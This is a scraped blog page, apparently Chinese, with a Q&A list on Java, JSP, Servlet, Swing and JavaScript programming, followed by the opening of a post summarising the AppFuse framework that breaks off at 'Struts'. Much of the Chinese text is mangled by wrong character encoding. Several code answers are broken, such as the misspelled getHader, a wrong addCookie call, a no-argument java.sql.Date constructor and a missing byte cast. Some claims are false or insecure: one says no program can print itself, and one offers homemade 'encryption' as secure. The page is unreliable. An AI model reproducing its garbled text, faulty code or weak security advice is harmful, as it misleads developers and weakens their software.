8. 问:在JSP¾|‘页中如何知道自已打开的页面的名称
½{”:
request.getRequestURI() ;//æ–‡äšgå?BR>request.getRequestURL() ;//全部åQµï¼²åQ?BR>


9. 问:提交表单后验证没有通过åQŒè¿”回提交页面,如何使原提交™åµé¢ä¸­çš„æ•°æ®ä¿ç•™åQ?BR>½{”:javascriptçš„go(-1)可以把上™å늚„表单内容重新昄¡¤ºå‡ºæ¥,但password域没æœ?BR>


10. 问:如何取得http的头信息åQ?BR>½{”:request.getHader(headerName);



11. 问:&&�amp;的区别?
½{”:
&&是短路的与操作,也就是当åœîC¸€ä¸ªæ¡ä»¶æ˜¯false的时候,½W¬äºŒä¸ªæ¡ä»¶ä¸ç”¨æ‰§è¡?BR>&相反åQŒä¸¤ä¸ªæ¡ä»¶æ€ÀL˜¯æ‰§è¡Œã€?BR>


12. 问:ž®?以正弦曲¾U¿çš„一个周期显½Cºå‡ºæ?BR>½{”:
public void paint(Graphics g)
{
for(int i=0;i<200;i++)
g.drawString("*",i,(int)(Math.sin(i)*20)+50);
}
}



13. 问:‹¹®ç‚¹æ•°ç›¸ä¹˜åŽ¾l“果不精¼‹®å¦‚100.0 * 0.6 ¾l“æžœ½{‰äºŽ 60.0004
½{”:
˜q™ä¸å«é”™è¯?floatå’Œdouble是这样实现的.如果要精¼‹®è®¡½Ž—,java提供了一个strictfp,它的计算遵åó@IEEE 754标准.而普通的floatå’Œdouble是由地åã^台æÕQç‚ÒŽ ¼å¼æˆ–¼‹¬äšg提供的额外精度或表示范围ã€?BR>


14. 问:如何获得当前用的cursors的位¾|®ï¼Ÿ
½{”:
int row = rs.getRow()ž®±æ˜¯å½“前指针行数,˜q˜æœ‰isFrist();isBeforeFist();isLast();isAfterLast();可以‹¹‹è¯•是不是在æ–ÒŽ³•名所说的位置



15. 问:表单成功提交了,点后退昄¡¤º¾|‘页˜q‡æœŸ
½{”:
�lt;head></head>里面加以下代�BR><META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="0">
或者在表单™åµä¸­åŠ ä¸Š
<%
response.setHeader("Pragma","no-cache");
response.setHeader("Cache-Control","no-cache");
response.setDateHeader("Expires",0);
%>



16. 问:接口的简单理è§?BR>½{”:接口ä¸ÞZº†è§„范,比如我在接口中定义了一个方æ³?
getData()
˜q™æ˜¯ç”¨æ¥ä»Žä¸åŒçš„æ•°æ®åº“中取数据的,ž®±æ˜¯JDBC的实现对于用æˆ?我不要知道每¿Uæ•°æ®åº“是如何做çš?但我知道如何它们要实现这个接口就一定有˜q™ä¸ªæ–ÒŽ³•可以供我调用.˜q™æ ·SUNž®±æŠŠ˜q™ä¸ªæŽ¥å£¾l™å„个数据库开发商,让他们自己实çŽ? ä½†äØ“ä»€ä¹ˆä¸ç”¨ç‘ô承而用接口å“?因䨓¾l§æ‰¿åªèƒ½ä»Žä¸€ä¸ªä½ ¾cȝ‘ôæ‰?而接口可以实现多ä¸?ž®±æ˜¯è¯´æˆ‘实现的子¾cÀLœ‰å¤šä¸ªè§„定好的接口中的功能. ˜q™åªæ˜¯ç®€å•的理解,½{‰ä½ æ·±å…¥ç†è§£æŠ½è±¡çš„æ—¶å€™å°±çŸ¥é“æŠ½è±¡åˆ°æŠ½è±¡ç±»æ—¶äØ“ä»€ä¹ˆè¿˜è¦å†æŠ½è±¡åˆ°æŽ¥å?




17. 问:怎样¾~–写一个取消按钮(怎样˜q”回上一个页面,象工å…äh çš„后退按钮åQ‰ï¼Ÿ
½{”:
javascript把每‹Æ¡æµè§ˆè¿‡çš„location都压åˆîCº†ä¸€ä¸ªæ ˆä¸?˜q™ä¸ªæ ˆå°±æ˜¯history,然后你如果要回到½W¬å‡ ä¸ªé¡µé¢å®ƒž®±åšå‡ æ¬¡POP操作,把最后POP出来的那个LOCATION¾l™ä½ . ˜q™å°±æ˜¯JAVASCRIPT在实现history.go(-x)的原ç?




18. 问:什么是回调åQ?BR>½{”:
½Ž€å•说,回调用不是让你去监听谁做完了什么事,而是谁做完了什么事ž®±æŠ¥å‘Šç»™ä½? ˜q™å°±æ˜¯å›žè°ƒç”¨çš„æ€æƒ³.例子太多äº?AWT的事ä»?SWING事äšg模型都是˜q™æ ·æœ? ˜q˜æœ‰å¤šçº¿½E‹ä¸­,如果要控制线½E‹æ•°,不能æ€ÀL˜¯æŸ¥è¯¢æ¯ä¸ª¾U¿ç¨‹æ˜¯å¦¾l“束,要在每个¾U¿ç¨‹¾l“束时让¾U¿ç¨‹è‡ªå·±å‘Šè¯‰ä¸Èº¿½E‹æˆ‘¾l“束äº?你可以开新的¾U¿ç¨‹äº?



19. 问:½Ž€è¦ä»‹¾lä¸€ä¸‹compareToæ–ÒŽ³•
½{”:
compareToæ–ÒŽ³•是Comparable 接口必需实现的方æ³?只要实现Comparable ž®±å¯ä»¥ç”¨Arrays.srot()排序ž®Þp±¡å®žçްRunnable接口的runž®Þpƒ½Thread()一æ ?



20. 问:如何可以从别的Web服务器检索页, 然后把检索到的网™å늚„HTML代码储存在一个变量中˜q”回˜q‡æ¥
½{”:˜q™æ˜¯ä¸€ä¸ªç®€å•çš„WEB ROBOT实现,用URL¾cÕd®žçŽîC»Ž¾|‘页中抓内容,然后自己写一个分析程序从中找出新的URL,不断递归下去ž®Þp¡Œäº?



21. 问:applet中如何获得键盘的输入
½{”:applicationçš„System.in是当前系¾lŸçš„æ ‡å‡†è¾“å…¥,appletå› äØ“å®‰å…¨çš„åŽŸå› ä¸å¯èƒ½è¯Õd–当前¾pȝ»Ÿ(客户ç«?的标准输å…?只能从它的ROOT¾l„äšg的事件中,比如键盘事äšg中取得键å€?



22. 问:怎样计算代码执行所èŠÞp´¹çš„æ—¶é—ß_¼Ÿ
½{”:
代码开始取旉™—´åQŒç»“束后取时é—ß_¼Œç›¸å‡
long t1 = System.currentTimeMillis();
///////////////// your code
long t2 = System.currentTimeMillis() ;
long time = t2-t1;



23. 问:如何获在½E‹åºä¸­èŽ·å¾—ä¸€ä¸ªæ–‡ä»¶çš„ContentTypeåQ?BR>½{”:
URL u = new URL("file:///aaa.txt");
URLConnection uc = u.openConnection();
String s = uc.getContentType();


24. 问:˜qžæŽ¥æ± çš„使用是徏立很多连接池åQŒè¿˜æ˜¯ä¸€ä¸ªè¿žæŽ¥æ± é‡Œç”¨å¤šä¸ª˜qžæŽ¥åQ?BR>½{”:
只有在对象源不同的情况下才会发生多个池化,如果你只˜qžä¸€¾l“一个数据源,永远不要用多个连¾l“æ± . 所以连¾l“池的初始化一定要做成静态的,而且应该在构造对象之å‰?也就是只有在¾c»LOAD的时å€?别的时候不应该有ä“Q何生成新的连¾l“池的时候ã€?BR>

25. 问:JavaMail要怎么安装åQ?BR>½{”:下蝲两个包,一个是javamail包,另一个是jaf包。下载完直接把这两个包不解压加到CLASSPATHã€?BR>

26. 问:怎样把地址栏里的地址锁定åQ?BR>½{”:把你的服务器的可讉K—®ç›®å½•索引选项关闭ž®Þp¡Œäº?ä»ÖM½•服务器都有一个confæ–‡äšg,里面都有˜q™ä¸ªé€‰é¡¹ã€?BR>

27. 问:在JAVA中怎么取得环境变量啊。比如: TEMP = CåQš\TEMP åQ?BR>½{”:String sss = System.getProperty(key)


28. 问:怎样实现四舍五入åQŒä¿ç•™å°æ•°ç‚¹åŽä¸¤ä½å°æ•ŽÍ¼Ÿ
½{”:
import java.text.*;
...
NumberFormat nf=NumberFormat.getNumberInstance();
nf.setMaximumFractionDigits(2);
nf.setMinimumFractionDigits(2);
nf.format(numb);


29. 问:Appletå’Œform如何通信åQ?BR>½{”:
取得的参æ•îC¼ åˆ°param里面
<%
String xxx = request.getParameter("xxx");
%>
<applet>
<param value="<%=xxx%>">
</applet>



30. 问:java-plug-in是什么?
½{”:Java Runtime Environment的插件。用来运行java½E‹åºã€‚不需要什么特别的讄¡½®ã€‚等于你的机器里面有了jvmã€?BR>

31. 问:WEB上面怎么栯‚¿žæŽ¥ä¸Šä¸€ä¸ªEXCEL表格åQ?BR>½{”:
定义™åµé¢å¾—contentType="application/vnd.ms-excel"åQŒè®©™åµé¢ä»¥excelå¾—åŞ式打开。同样也可以以wordå¾—åŞ式打开åQšapplication/mswordã€?BR>

32. 问:怎样才能避免textarea字数限制åQ?BR>½{”:是ä‹É用了FORM的默认方法的¾~˜æ•…,如果什么也不写默认是GET改用Post卛_¯åQŒåœ¨Form中定义mothod="post"ã€?BR>

33. 问:ä¸ÞZ»€ä¹ˆåŠ äº?lt;%@page contentType="text/html;charset=gb2312" %>插入数据库的中文åQŒä¾ç„¶æ˜¯ä¹Þq åQ?BR>½{”:
˜q™è¦ä»ŽçŽ¯å¢ƒçœ‹,能显½Cø™¯´æ˜Žä½ çš„JSP引擎没有问题,但写入数据库时你的JDBC能不能处理中æ–?同一公司不同版本的JDBC都有支持中文和不支持中文的情å†?RESIN自带的MYSQL JDBCž®×ƒ¸æ”¯æŒ,MM的就支持,˜q˜æœ‰ä½ çš„æ•°æ®åº“类型是否支持中æ–?CHAR的一般支æŒ?但是否用binary存储双字节码


34. 问:对于JFrameåQŒhide()åQŒshow()与setVisibel()有什么区别吗åQ?BR>½{”:
setVisible()从Component¾l§æ‰¿˜q‡æ¥åQŒè€Œhide(),show()从Window里面¾l§æ‰¿˜q‡æ¥ã€?BR>Makes the Window visible. If the Window and/or its owner are not yet displa yable, both are made displayable. The Window will be validated prior to being made visible. If t he Window is already visible, this will bring the Window to the front. 区别在这ã€?BR>

36. 问:sendRedirectä¸ÞZ»€ä¹ˆä¸å¯ä»¥è½¬åˆ°mms协议的地址的?response.sendRedirect("mms://missiah.adsldns.org:9394");
½{”:javaòq›_°ç›®å‰å®žçŽ°çš„protocolä¸­åÆˆæ²¡æœ‰mms,你可以取¾pȝ»Ÿå±žæ€§java.protocol.handler.pkgs看看它的å€ég¸­æœ‰æ²¡æœ‰mms,所以如果要想重定向到mms://host˜q™æ ·å’ŒURL,只有生成客户端的JAVASCRIPT让它来重定向


37. 问:JTable中怎样定义各个Columnså’ŒWidth和怎样讄¡½®è¡¨æ ¼çš„内定w åšé åÏxˆ–居中åQ?BR>½{”:
TableColumn tc = table.getColumn("Name");//取得列名�Name"的列Handle
int currentWidth = tc.getPreferredWidth(); //取得该列当前的宽åº?BR>tc.setPreferredWidth(200); //讄¡½®å½“前列宽
tc.setMaxWidth(200); //讄¡½®è¯¥åˆ—最大宽åº?BR>tc.setMinWidth(50); //讄¡½®è¯¥åˆ—最ž®å®½åº?BR>

38. 问:æ‰ÒŽ“ä½œæ˜¯å¦å¯ç”¨äºŽselect语句åQ?BR>½{”:æ‰ÒŽ“ä½œå…¶å®žæ˜¯æŒ‡æˆæ‰¹ç†æ›´æ–°çš„æ“ä½?¾lå¯¹ä¸å¯èƒ½ç”¨äºŽselect操作ã€?BR>

39. 问:ä¸ÞZ»€ä¹ˆjsp路径太深文äšg名太长就无法è¯Õd–æ–‡äšgåQ?BR>½{”:path不能­‘…过255长度,不然ž®±æ‰¾ä¸åˆ°äº?˜q™æ˜¯ä½œä¸š¾pȝ»Ÿçš„事ã€?BR>

40. 问:如何让页面不保留¾~“å­˜åQ?BR>½{”:
<%
response.setHeader("Pragma","No-cache");
response.setHeader("Cache-Control","no-cache");
response.setDateHeader("Expires", 0);
%>


41. 问:我的applet code 中用到jbutton 时就出错是否ç”׃ºŽie不支持swing package 请问应怎么办?
½{”:JBUTTON是SWING基本包啊,只要把jdk/jre/lib/rt.jar攑֜¨classpathž®Þp¡Œäº?不要加蝲ä»ÖM½•别的库ã€?BR>

42. 问:不知道java是否支持midi格式åQŒå¦‚果支持,应该怎么把wave格式转换成midi格式åQ?BR>½{”:目前˜q˜ä¸è¡?可以看一下JMF三个版中对MIDI的格式支持是read only,而WAVE是read/write,MIDI只能播放,不能生成ã€?BR>

43. 问:在jsp里面防止用户直接输入url˜q›åŽ»™åµé¢åQŒåº”该怎么做呢åQ?BR>½{”:
一是从web服务器控åˆ?å¯ÒŽŸä¸€ç›®å½•的所有访问要通过验证.
二是在要讉K—®çš„页面中加入控制.˜q™ä¸ªä¸€èˆ¬ç”¨session,也可以用è¯äh±‚状态码实现


44. 问:
例如后台有一计算应用½E‹åºåQˆæ­¤½E‹åº˜qç®—èµäh¥å¾ˆæ…¢åQŒå¯æŒç®‹å‡ åˆ†é’Ÿåˆ°å‡ å°æ—Óž¼Œ˜q™ä¸½Ž¡ï¼Œä¸»è¦æ˜¯èƒ½‹È€‹zÕd®ƒåQ‰ï¼Œå®¢æˆ·æœø™®²ä»ÕdŠ¡æäº¤åŽï¼ŒæœåŠ¡å™¨å¯¹ä»ÕdŠ¡˜q›è¡Œ‹‚€‹¹‹æ— è¯¯åŽž®†å‘服务器后台程序发送信息,òq¶å°†å…¶æ¿€‹z…R€‚要求如下:
1åQ‰é¦–先将后台½E‹åº‹È€‹z»ï¼Œè®©å®ƒæ‰§è¡Œæ­¤ä“Q务(比如åQŒå‰å°å°†è®¡ç®—çš„C代码提交上后åQŒåŽå°ç¨‹åºç¨‹åºèƒ½é©¬ä¸Šè°ƒç”¨åQŒåƈž®†å…¶˜qè¡ŒåQ?BR>2åQ‰è¦åœ¨å‰å°JSP™åµé¢ä¸­æ˜¾½Cø™¿è¡Œè¿‡½E‹ä¿¡æ¯ï¼ˆç”׃ºŽ˜qè¡Œæ—‰™—´é•¿ï¼Œå¸Œæœ›è®©å®¢æˆïLœ‹åˆ°è¿è¡Œè¿‡½E‹ä¸­äº§ç”Ÿçš„信息)如何完成åQ?BR>
½{”:
‹zÀL˜¯å¯ä»¥çš?˜qè¡Œä¸€ä¸ªshell让它去运行后台就è¡?但不可能取出˜qè¡Œä¿¡æ¯,因䨓HTTP的超旉™™åˆ¶ä¸å¯èƒ½æ°¸è¿œ½{‰ä½ åŽå°˜qè¡Œçš?而且信息如果要动态实时推出来ž®±å¾—用SERVER PUSH技术ã€?BR>


45. 问:数据库是datetime åž?åQŒæ’入当前时间到数据库?
½{”:
java.sql.Date sqlDate = new java.sql.Date();
PreparedStatement pstmt = conn.prepareStatement("insert into foo(time) values(?)");
pstmt.setDate(1,sqlDate);
pstmt.executeUpdate();


46. 问:怎样åŽÀLŽ‰å­—ç¬¦ä¸²å‰åŽçš„½Iºæ ¼ã€?BR>½{”:String.trim()


47. 问:session怎样存取int¾cÕdž‹çš„变量?
½{”:
session.setAttribute("int", i+"");
int i = Integer.parseInt(session.getAttribute("int"));


48. 问:在javascript中如何ä‹É输出的float¾cÕdž‹çš„æ•°æ®ä¿ç•™ä¸¤ä½å°æ•°ã€?BR>½{”:Math.round(aaaaa*100)/100ã€?BR>

49. 问:在bean¿Uå¦‚何调用session
½{”:
你可把sessionå¯¹è±¡ä½œäØ“ä¸€ä¸ªå‚æ•îC¼ ¾l™bean
在BEAN中定义HttpServletRequest request;HttpSession session;
然后
session = request.getSession(false);
false为如果session为空,不徏立新的session
ž®†sessionä½œäØ“å‚æ•°ä¼ å…¥.其实只要ž®†requestä¼ å…¥ž®±å¯ä»?BR>

50. 问:如何把txt或wordæ–‡äšg按原格式昄¡¤ºåœ¨jsp™åµé¢æˆ–servlet上?
½{”:
其实一个非常简单的解决æ–ÒŽ³•ž®±æ˜¯åœ¨æœåŠ¡å™¨çš„MIME中指点定TEXTå’ŒWORD的解释方å¼?然后用JSP或SERVLET生成它就行了,客户端就会自动调用相应程序打开你的文æ¡£ã€?BR>如果是希望按原格式的昄¡¤ºåœ¨é¡µé¢ä¸ŠåQŒè€Œä¸æ˜¯è°ƒç”¨å…¶ä»–程序打开那么你可以试试用WEBDEV协议,可以说这是MS的一个亮ç‚?它是在WEB方式下打开文档,和共享一æ ?完全½W¦åˆçš„要求ã€?BR>

51. 问:objectçš„cloneæ–ÒŽ³•ä¸ÞZ»€ä¹ˆä¸èƒ½ç›´æŽ¥è°ƒç”¨ï¼Ÿ
½{”:
˜q™ä¸ªæ–ÒŽ³•在object中是protected
ä¸ÞZ»€ä¹ˆè¦æŠŠè¿™ä¸ªæ–¹æ³•å®šä¹‰äØ“protected,˜q™æ˜¯ä¸€ä¸ªæŠ˜ä¸?它的目的是想知道你这个方法在Object里只是一个标è®?而不是一个实çŽ?比如

public class Object
{

.............
protected Object clone()
{}
}

所以直接ç‘ô承的clone()æ–ÒŽ³•òq¶ä¸èƒ½åšä»ÖM½•æ—?你要使用˜q™ä¸ªæ–ÒŽ³•ž®Þp¦é‡è²˜q™ä¸ªæ–ÒŽ³•òq¶æ”¾å®½è®¿é—®æƒé™äØ“public,或实现cloneable接口. 但它没法˜q™æ ·å‘Šè¯‰ä½ å®ƒæ²¡æœ‰çœŸçš„实现,只好用protected æ–ÒŽ³•加以警示


52. 问:一个页面中如何åˆäh–°å¦å¤–一个页面?
½{”:
要求是这些面™åµå¿…™åÀLœ‰å…Œ™”,一是它们都有一个共同的™å¶å±‚å¸?也就是说是一个å“á内的分çñ”™åµé¢,当然可以是ä“Q意çñ”,帧内再分帧也可以,另一个可能是当前½H—口弹出的窗å?如果没有联系,那就不可能用一个页面刷新另一个页é? 帧内只要一¾U§ä¸€¾U§å¼•用就行了. 比如在左帧中一个页面中写top.right.location.reload();é‚£ä¹ˆåäØ“right的右帧中的页面就会刷æ–? 弹出的一æ ?用open时的名称åˆäh–°å­çª—å?子窗口用openeråˆäh–°ä¸Èª—å?BR>

53. 问:如何在jsp中怎么样向客户端写cookiesåQ?BR>½{”:
Cookie coo = new Cookie(name, value);
HttpServletResponse.addCookie(name);


54. 问:ä¸ÞZ»€ä¹ˆjTextField1.setText("aaabbb");jTextField2.setText("AAABBB"); å¾—åˆ°çš„å­—ä½“å®½åº¦ä¸ä¸€æ øP¼Ÿ
½{”:ž®±æ˜¯è¯´å¦‚æžœä¸æ˜¯æŒ‡å®šäØ“½{‰å®½å­—体,每个字体的宽度都是不一æ ïLš„.å› æ­¤JAVA中用FontMetrics ¾cÀL¥å–å­—½W¦å®½åº¦ã€?BR>

55. 问:String kk=application/octet-stream; name="G:/SMBCrack.exe";如何得到SMBCrack.exeåQ?BR>½{”:
˜q™åº”该是解析上传时候的二进制流得到的这一行里面格式是固定的,取到name="后面的字½W¦ä¸²åQŒç„¶åŽæŠŠ";åŽÀLŽ‰ã€‚ç„¶åŽå–æœ€åŽä¸€ä¸?后面的所有字½W¦ç»„成一个新字符串就行了ã€?BR>

56. é—®ï¼šå¦‚ä½•ä¼ å€¼åÆˆä¸åˆ·æ–°é¡µé¢ï¼Ÿ
½{”:
弹出一个页面进行值的选择或者输入,ok后ä‹É用将å€ég¼ ¾l™åŽŸ½H—口åQŒä‹É用javascript关闭打开的窗口即可:
window.close();opener.focus();



57. 问:有一个字½W¦ä¸²åQ?EF0C114EA4"åQŒå¦‚何变为a[0] = 0xEF a[1] = 0x0C a[2] = 0x11 a[3] = 0x4E a[4] = 0xA4åQ?BR>½{”:
String str="EF0C114EA4F";
out.print(str+"<br>");
int l=str.length()/2+str.length()%2,j=0,k=0;
String[] a=new String[l];
for(int i=0;i<l;i++){
if(str.length()-j==1)
k=str.length();
else
k=j+2;
a[i]="0x"+str.substring(j,k);
out.print("a["+Integer.toString(i)+"]="+a[i]+"<br>");
j+=2;
}


58. 问:怎样ž®†ä¸€ä¸ªint转换成一个四字节的byte数组åQ?BR>½{”:
int x = 1234567;
byte[] b = new byte[4];
for(int i=0;i<b.length;i++)
{
b[i] = (x >>( i*8)) & 0xFF;
}


59. 问:indexOf()çš„ä‹É用需要注意什么?
½{”:参数是指从第几位åQ?åQ?åQ?åQ?..åQ‰å¼€å§‹æœç´¢ï¼Œè€Œè¿”回值是指搜索到的位¾|®ï¼ˆ0åQ?åQ?åQ?.......åQ‰æ³¨æ„æ˜¯ä»Žé›¶½Ž—è“vçš„ã€?BR>

60. 问:在Java应用½E‹åºä¸­å¦‚何动态的æ·ÕdŠ ä¸€ä¸ªæŒ‰é’®ï¼Ÿ
½{”:
˜q™é‡Œæ¶‰åŠä¸€ä¸ªç»„仉™‡¾l˜çš„问题,¾l„äšg要先于panel被显½CÞZ¹‹å¤„å­˜åœ?如果一panel已经昄¡¤ºäº?那么加在上面你能看到å?但如果在同一个panelä¸? 先有button A,假如按下它加了butt on B,˜q™æ—¶ä½ å¦‚æžœä‹É整个panel重给,那么A本èín要重¾l?它的事äšg监听ž®±æ²¡æœ‰äº†,当然也就加不成Bäº?所以如果要先有另一个panel,当按A时把B加在˜q™ä¸ªpanelä¸ŠåÆˆé‡ç»˜˜q™ä¸ªpaenl,其实更好的方法是先把B加在panelä¸?同一个也è¡?把它setVisiable(flase),按A时设ä¸?trueã€?BR>

61. 问:book mybook=new book(bookid);book是servlet,出错ã€?BR>½{”:
book是servlet,能book mybook=new book(bookid);
说明自己实现了servlet容器?不然,servlet能让你自己去调用? servlet如果调用其实和EJB˜q?%的区别都没有,它们都是自己¾l§æ‰¿æˆ–实çŽîC¸€äº›æŽ¥å?在这些父¾cÀLˆ–接口中实çŽîCº†å¦‚果和容器\"打交é?的方æ³?然后容器调用˜q™äº›æ–ÒŽ³•来管理它,让它生成实例,池化,钝化,销æ¯?再生½{?所以这样写是错误的ã€?BR>

62. 问:¾l™å®šä¸€ä¸ªå­—½W¦ä¸²5*(5+9)/7怎样计算出结果?
½{”:
可有两种æ–ÒŽ³•
1。用堆栈完成
2。最½Ž€å•çš„æ–ÒŽ³•åQŒä¸ç”¨ç¼–½E‹ï¼Œå¦‚果有ä“Q何一个数据库的化åQŒç”¨select (5*(5+9)/7) from oneTable


63. 问:如何实现递交表单内容的加密解密?
½{”:
如果你用IE目前只能用SSL协议,˜q™ä¸€å±‚不要你考虑,否则只你用你自己的工具加密传è¾?接收后再解密å?至于如何加解,如果要和公认的系¾lŸç»“å?ž®Þq”¨é€šç”¨çš„MD5,RAS½{‰å…¬å¼€½Ž—法,如果你只是自å·×ƒ¼ è‡ªå·±è§?你随便按你的æƒÏx³•把数据加上一些东è¥?取回来按规则减掉˜q™äº›ä¸œè¥¿,我敢保证除你自己没有ä»ÖM½•äºø™ƒ½çŸ¥é“解密æ–ÒŽ³•.


64. 问:ä¸ÞZ»€ä¹ˆInteger.parseInt("+1");会抛出NumberFormatException的异常?
½{”ï¼šå› äØ“"+"˜qè¡Œ½Ž—在JAVA中被重蝲.¾pȝ»Ÿæ— æ³•¼‹®å®šä½ ç”¨çš„æ˜¯½Ž—术加还是字½W?ã€?BR>˜q™ä¸€ç‚¹å¯ä»¥åœ¨JAVASCRIPT中更好地理解:
<form name="t"><input name=s value=1234></form>
var a = document.t.s.value+1;
˜q™æ—¶a = 12345,因䨓document.t.s.valueä½œäØ“å­—ç¬¦ä¸?但var a = document.t.s.value-1;
a ž®±æ˜¯1233,因䨓¾pȝ»ŸçŸ¥é“-˜qç®—肯定是算术运è¡?所以把document.t.s.value转换成数å­?



65. 问:hashCode() 有什么用ä¸ÞZ»€ä¹ˆæœ‰æ—¶å€™éœ€è¦è¦†ç›–Object里的hashcode()æ–ÒŽ³•åQ?BR>½{”:˜q™å°±æ˜¯è¿™ä¸ªå¯¹è±¡çš„íw«ä†¾è¯å•Š,要不如何区分哪个对象ã€?BR>

66. 问:怎样在tomcat中实çŽîC¸€ä¸ªå®šæ—¶æ‰§è¡Œçš„东东åQ?BR>½{”:
在应用程序启动时自动˜qè¡Œã€‚servlet2.3中定义了ServletListener,监听Servlet Con text的启动或则关闭(可在配置文äšg中配¾|®ï¼‰åQŒå¯åŠ¨æ—¶è§¦å‘ä¸€ä¸ªå®ˆæŠ¤ç¨‹åºçš„˜qè¡Œ(可以实现java.util.Timer或则 javax.swing.Timer).


67. 问:½E‹åºå¯ä»¥è¾“出自己吗?
½{”:孔å¯d悖论˜q™ä¸ªéžå¸¸æœ‰åçš„æ³•åˆ?ž®±æ˜¯è¯´ä“Qä½•ç¨‹åºéƒ½ä¸å¯èƒ½è¾“å‡ø™‡ªå·?


68. 问:能够把字½W¦è{化成ASCII码?比如ž®?A 转化æˆ?65åQ?BR>½{”:
int a='A';
out.println(a);


69. 问:如何区分输入的文字中的全角与半角åQ?BR>½{”:ç”׃ºŽä¸èƒ½åˆ†èöL出全角和半角字符的值有什么规å¾?只好把全角符åïL‰§ä¸‘Ö‡ºæ¥äº†.


70. 问:用户注册后的自动发信½E‹åºè¯¥æ€Žä¹ˆåšï¼Ÿ
½{”:
˜q™ç§å‘ä¿¡½E‹åºä¸è€ƒè™‘性能,å› äØ“ä¸å¯èƒ?¿U’就有一个äh注册,我们说的考虑性能的发信程序是指上百万ž®ä¿¡åœ¨é˜Ÿåˆ—里要不停发送的那种,象你˜q™ä¸ªéšä¾¿æ€Žä¹ˆå†™ä¸€ä¸ªç¨‹åºéƒ½è¡?没有必要用JAVAMAIL.只要指定一个发信的服务器然后用cocket˜qžå®ƒçš?5口就行了.自己用SOCKET˜qžSMTPçš?5口发一ž®ä¿¡ž®±å¥½è±¡ä¸¤ä¸ªé‚»å±…之间送一样东è¥?直接递过åŽÕd¾—äº?用JAVAMAIL,消息机制ž®±æ˜¯ä½ æŠŠ˜q™ä¸ªä¸œè¥¿ä»Žé‚®å±€å¯„给你的é‚Õd±…äº?

]]>
Appfusehttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25638.htmlfrankboyfrankboyTue, 27 Dec 2005 15:21:00 GMThttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25638.htmlhttp://www.aygfsteel.com/frankboy/comments/25638.htmlhttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25638.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/25638.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/25638.html 
Appfuseæ€È»“

使用AppFuse˜q›è¡Œå¼€å‘çš„æ€È»“


AppFuse 是一个集成了当前最‹¹è¡Œçš„Web应用框架的一个更高层‹Æ¡çš„Web开发框æžÓž¼Œä¹Ÿå¯ä»¥è¯´æ˜¯ä¸€ä¸ªWeb开发基¼‹€òq›_°åQŒå®ƒä¸Žå®ƒæ‰€é›†æˆçš„各¿Uæ¡†æž¶ç›¸æ¯”,它提供了一部分所有Web¾pȝ»Ÿå¼€å‘过½E‹ä¸­éƒ½éœ€è¦å¼€å‘的一些功能,如登陆、用户密码加密,用户½Ž¡ç†ã€æ ¹æ®ä¸åŒçš„用户可以展现不同的菜单,可以自动生成40åQ?60%左右的代码,自带了默认的一些在CSS中设定的样式åQŒä‹É用这些样式能很快的改变整个系¾lŸçš„外观åQŒè¿˜æœ‰è‡ªåŠ¨åŒ–‹¹‹è¯•的功能ã€?

å®ƒæœ€å¤§çš„ä»·å€¼å°±æ˜¯äØ“æˆ‘ä»¬æä¾›äº†ä¸€ä¸ªWeb开发的新的方式和思èµ\åQŒå°½½Ž¡è¿™äº›æŠ€æœ¯åœ¨å›½å¤–都已˜q›å¾ˆ‹¹è¡Œäº†ï¼Œä½†åœ¨å›½å†…能够ž®†Hibernate、Struts、Springã€?DBUnit、Ant、Log4J、Struts Menu、Xdoclet、SiteMesh、Velocity、JUnit、JSTL、WebWork˜q™äº›æŠ€æœ¯é›†æˆåˆ°ä¸€ä¸ªæ¡†æž¶ä¸­çš„还不多见,所以即使不使用它的全部功能åQŒå®ƒä¹Ÿç»™æˆ‘们提供了一个很好的借鉴、学习的æœÞZ¼šã€?

通过å…Ïx³¨AppFuseåQŒæˆ‘们可以看到目前国外的ä¸ÀLµå¼€å‘都使用了哪些技术,开发方式是什么样的,可能辑ֈ°ä»€ä¹ˆæ ·çš„结果,而在以前åQŒæ˜¯å¾ˆå°‘能够看到˜q™æ ·å®Œæ•´çš„例子的ã€?

AppFuse的另一个启½Cºæ˜¯åQšæˆ‘ä»¬å¯ä»¥ä¾é å¼€æºèÊY件的功能降低开发成本,而且可以阅读开源èÊY件的代码提高所在团队的整体实力ã€?

AppFuse 的作è€?matt raible是当今开源世界一个比较活跃的开发者,它是AppFuse、Struts Menu的作者,也是XDoclet、DisplayTag½{‰ä¸€äº›è‘—名开源项目的¿U¯æžå‚与者,《Hibernate In Action》的作者就在感谢的名单里面提到他,XDoclet的下载版本中所带的Hibernate标签部分的例子就是他写的åQŒä»–˜q˜æ˜¯2004òq?Apache技术年会的主讲äºÞZ¹‹ä¸€ã€‚(˜q™äº›éƒ½æ˜¯æˆ‘è¿™2个多月来搜集到的åQŒå‘µå‘µï¼‰

但是通过2个月的实际学习和使用åQŒæˆ‘也遇åˆîC¸€¾pÕdˆ—çš„é—®é¢˜ï¼Œå› äØ“AppFuse是将其他的一些类库或者框枉™›†æˆåœ¨ä¸€èµïLš„åQŒé›†æˆçš„æŠ€æœ¯ä¼—多,而且有一些技术在国内甚至很少有äh知道åQŒèµ„料也比较ž®‘,所以虽然作者经˜q‡äº†ä¸€äº›æµ‹è¯•,但都是基于英文编码的åQŒè€Œå¯¹äºŽä¸­æ–‡ç¼–码来è¯ß_¼Œ˜q˜æ½œåœ¨çš„存在着一些问题,虽然不是AppFuse的问题,但却降低了开发速度åQŒä¸‹é¢æ˜¯æˆ‘在开发过½E‹ä¸­é‡åˆ°˜q‡çš„问题åQŒæœ‰äº›è§£å†³äº†åQŒæœ‰äº›è¿˜æ²¡æœ‰è§£å†³åQ?
一åQŽStruts
